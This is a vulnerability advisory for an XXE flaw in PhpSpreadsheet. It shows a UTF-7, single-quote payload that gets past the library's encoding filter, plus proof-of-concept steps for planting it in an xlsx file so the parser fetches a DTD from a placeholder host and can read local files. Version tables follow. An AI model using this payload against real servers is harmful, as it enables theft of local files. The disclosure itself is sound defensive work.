XXE in PHPSpreadsheet encoding is returned
The advisory, in context
Summary
Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)
Details
Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>
If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.
PoC
- Create simple xlsx file
- Rename xlsx to zip
- Go to the zip and open the
xl/sharedStrings.xmlfile in edit mode. - Replace
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
- Save
sharedStrings.xmlfile and rename zip back to xlsx. - Use minimal php code that simply opens this xlsx file:
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");
- You will receive the request to your
http://%webhook%/file.dtd - Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.
Impact
Read local files
Affected packages
Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.
Earlier releases before 1.29.1
Fixed in 1.29.1
46 explicitly affected versions
1.0.0, 1.0.0-beta, 1.0.0-beta2, 1.1.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.13.0, 1.14.0, 1.14.1, 1.15.0, 1.16.0, 1.17.0, 1.17.1, 1.18.0, 1.19.0, 1.2.0, 1.2.1, 1.20.0, 1.21.0, 1.22.0, 1.23.0, 1.24.0, 1.24.1, 1.25.0, 1.25.1, 1.25.2, 1.26.0, 1.27.0, 1.27.1, 1.28.0, 1.29.0, 1.3.0, 1.3.1, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.5.2, 1.6.0, 1.7.0, 1.8.0, 1.8.1, 1.8.2, 1.9.0
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.29.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.0.0",
"1.0.0-beta",
"1.0.0-beta2",
"1.1.0",
"1.10.0",
"1.10.1",
"1.11.0",
"1.12.0",
"1.13.0",
"1.14.0",
"1.14.1",
"1.15.0",
"1.16.0",
"1.17.0",
"1.17.1",
"1.18.0",
"1.19.0",
"1.2.0",
"1.2.1",
"1.20.0",
"1.21.0",
"1.22.0",
"1.23.0",
"1.24.0",
"1.24.1",
"1.25.0",
"1.25.1",
"1.25.2",
"1.26.0",
"1.27.0",
"1.27.1",
"1.28.0",
"1.29.0",
"1.3.0",
"1.3.1",
"1.4.0",
"1.4.1",
"1.5.0",
"1.5.1",
"1.5.2",
"1.6.0",
"1.7.0",
"1.8.0",
"1.8.1",
"1.8.2",
"1.9.0"
]
}From 2.2.0 before 2.2.1
Fixed in 2.2.1
1 explicitly affected versions
2.2.0
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.2.0"
]
}From 2.0.0 before 2.1.1
Fixed in 2.1.1
2 explicitly affected versions
2.0.0, 2.1.0
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.0.0",
"2.1.0"
]
}Earlier releases through 1.8.2 (inclusive)
No fix recorded for this interval.
9 explicitly affected versions
1.7.9, 1.7.9-rc1, 1.8.0, 1.8.0rc1, 1.8.0rc2, 1.8.0rc3, 1.8.0rc4, 1.8.1, 1.8.2
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.8.2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.7.9",
"1.7.9-rc1",
"1.8.0",
"1.8.0rc1",
"1.8.0rc2",
"1.8.0rc3",
"1.8.0rc4",
"1.8.1",
"1.8.2"
]
}